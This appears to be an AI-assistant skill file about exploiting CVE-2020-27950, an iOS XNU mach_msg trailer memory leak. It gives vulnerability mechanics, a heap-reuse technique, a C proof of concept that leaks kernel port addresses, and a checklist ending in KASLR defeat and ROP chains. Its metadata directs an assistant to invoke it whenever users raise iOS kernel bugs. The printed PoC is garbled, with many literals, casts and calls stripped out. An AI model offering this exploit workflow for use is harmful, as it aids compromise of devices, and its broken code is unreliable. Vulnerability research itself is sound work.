| name | ios-cve-2020-27950-exploit |
| description | iOS kernel exploitation for CVE-2020-27950 (mach_msg trailer memory leak). Use this skill whenever the user mentions iOS kernel vulnerabilities, mach_msg exploitation, kernel memory leaks, CVE-2020-27950, or wants to understand/write PoCs for XNU kernel heap-based vulnerabilities. This skill covers the vulnerability mechanics, exploit development, and practical implementation. |
CVE-2020-27950: mach_msg Trailer Memory Leak Exploitation
A comprehensive guide to understanding and exploiting CVE-2020-27950, a kernel memory leak vulnerability in iOS XNU's Mach message trailer handling.
Vulnerability Overview
The Core Issue
Every Mach message the kernel receives ends with a "trailer": a variable-length struct containing metadata (sequence numbers, sender token, audit token, context, access control data, labels). The vulnerability stems from:
- The kernel always reserves the largest possible trailer (
MAX_TRAILER_SIZE) in the message buffer
- The kernel only initializes some fields of the trailer
- The kernel decides which trailer size to return based on user-controlled receive options
- Certain field initializations are conditionally skipped based on the trailer type requested
This creates a window where uninitialized memory (potentially containing sensitive kernel data) can leak to userland.
Key Structures
typedef struct {
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
} mach_msg_trailer_t;
typedef struct {
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
mach_port_seqno_t msgh_seqno;
security_token_t msgh_sender;
audit_token_t msgh_audit;
mach_port_context_t msgh_context;
int msgh_ad;
msg_labels_t msgh_labels;
} mach_msg_mac_trailer_t;
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
The Vulnerable Code Path
When generating the trailer, only some fields are initialized:
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
trailer->msgh_labels.sender = 0;
Later, in ipc_kmsg_add_trailer(), the trailer size is calculated and additional fields may be filled:
if (!(option & MACH_RCV_TRAILER_MASK)) {
return trailer->msgh_trailer_size;
}
trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0;
}
if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
trailer->msgh_labels.sender = 0;
}
The Exploit Condition
The option parameter is user-controlled. The trailer element constants are:
#define MACH_RCV_TRAILER_NULL 0
#define MACH_RCV_TRAILER_SEQNO 1
#define MACH_RCV_TRAILER_SENDER 2
#define MACH_RCV_TRAILER_AUDIT 3
#define MACH_RCV_TRAILER_CTX 4
#define MACH_RCV_TRAILER_AV 7
#define MACH_RCV_TRAILER_LABELS 8
#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
The vulnerability: If you pass an option value of 5 or 6:
- It passes the first
if check (bits 24-27 are non-zero)
- It does NOT enter the
if that initializes msgh_ad (requires >= 7)
msgh_ad remains uninitialized, potentially leaking stale kernel memory
Exploitation Technique
Heap Reuse Strategy
The exploit uses a classic heap reuse pattern:
- Send a "big" message with many port descriptors → allocates a
kalloc.1024 chunk containing kernel pointers
- Receive/discard it with zero buffer → frees the chunk, leaving kernel pointers as stale data
- Send a "small" message → reuses the same size class, but with fewer descriptors
- Receive with invalid trailer option (5) → trailer's
msgh_ad field overlaps with stale pointer data
- Adjust message size to control overlap offset and leak different bytes of the pointer
Why This Works
When you send a Mach message with port descriptors:
- Userland:
name field contains an unsigned int (port name)
- Kernel:
name field becomes an ipc_port* pointer
- The kernel stores these pointers in the
ipc_kmsg_t structure
- When freed, these pointers remain in the heap chunk as stale data
- When reused with a smaller message, the trailer can overlap this stale data
Complete Exploit Implementation
Kernel Address Leak PoC
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
#define LEAK_PORTS 50
#define MAX_TRAILER_SIZE 128
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
} message_big_t;
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
} message_small_t;
int main(int argc, char *argv[]) {
mach_port_t port;
mach_port_t sent_port;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
printf("[*] Target port: 0x%x\n", sent_port);
message_big_t *big_message = NULL;
*small_message = ;
big_size = ()(*big_message);
small_size = ()(*small_message);
big_message = (big_size + MAX_TRAILER_SIZE);
small_message = (small_size + ()* + MAX_TRAILER_SIZE);
(big_message, , big_size + MAX_TRAILER_SIZE);
big_message->header.msgh_remote_port = port;
big_message->header.msgh_size = big_size;
big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, ) | MACH_MSGH_BITS_COMPLEX;
big_message->body.msgh_descriptor_count = LEAK_PORTS;
( i = ; i < LEAK_PORTS; i++) {
big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
big_message->sent_ports[i].name = sent_port;
}
(small_message, , small_size + ()* + MAX_TRAILER_SIZE);
small_message->header.msgh_remote_port = port;
small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, ) | MACH_MSGH_BITS_COMPLEX;
small_message->body.msgh_descriptor_count = LEAK_PORTS - ;
( i = ; i < LEAK_PORTS - ; i++) {
small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
small_message->sent_ports[i].name = sent_port;
}
*buffer = (big_size + MAX_TRAILER_SIZE);
*trailer;
sent_port_address = ;
();
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, , MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
();
mach_msg(( *), MACH_RCV_MSG, , , port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
small_message->header.msgh_size = small_size + ();
();
mach_msg(&small_message->header, MACH_SEND_MSG, small_size + (), , MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
();
(buffer, , big_size + MAX_TRAILER_SIZE);
mach_msg(( *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(),
,
small_size + () + MAX_TRAILER_SIZE,
port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
trailer = ( *)(buffer + small_size + ());
sent_port_address |= ()trailer->msgh_ad;
();
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, , MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
();
mach_msg(( *), MACH_RCV_MSG, , , port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
small_message->header.msgh_size = small_size + ()*;
();
mach_msg(&small_message->header, MACH_SEND_MSG, small_size + ()*, , MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
();
(buffer, , big_size + MAX_TRAILER_SIZE);
mach_msg(( *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(),
,
small_size + ()* + MAX_TRAILER_SIZE,
port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
trailer = ( *)(buffer + small_size + ()*);
sent_port_address |= (()trailer->msgh_ad) << ;
(, sent_port, sent_port_address);
;
}
Exploit Development Checklist
When developing exploits for this vulnerability:
-
Verify the target is vulnerable
- Check iOS version (affected: iOS 13.x through early iOS 14.x)
- Confirm kernel hasn't patched the trailer initialization
-
Set up the heap state
- Use
kalloc.1024 size class (empirically reliable)
- Send messages with enough port descriptors to fill the chunk
- Ensure predictable allocation patterns
-
Control the overlap
- Adjust
msgh_size to shift where the trailer lands
- Use +4 byte increments to leak different pointer bytes
- Account for alignment and padding
-
Handle the leak
- Use trailer option 5 or 6 (invalid but triggers max trailer)
- Parse the trailer correctly (64-bit vs 32-bit variants)
- Combine leaked bytes into full pointers
-
Use the leaked address
- Calculate kernel base (if KASLR is active)
- Use for further exploitation (ROP, gadget chains, etc.)
Common Pitfalls
| Issue | Solution |
|---|
| Leak returns garbage | Verify heap reuse is working; check message sizes |
| Crash on receive | Ensure buffer is large enough for max trailer |
| Inconsistent leaks | Add heap spraying; use more port descriptors |
| Wrong pointer bytes | Adjust msgh_size offset; verify alignment |
References
Related Vulnerabilities
- CVE-2021-30807: IOMobileFrameBuffer OOB
- Other mach_msg trailer vulnerabilities in XNU
- iOS kernel heap exploitation techniques
Testing Notes
- This exploit requires a vulnerable iOS device or simulator
- Root access may be needed to verify kernel addresses
- Modern iOS versions have patched this vulnerability
- Use in educational/research contexts only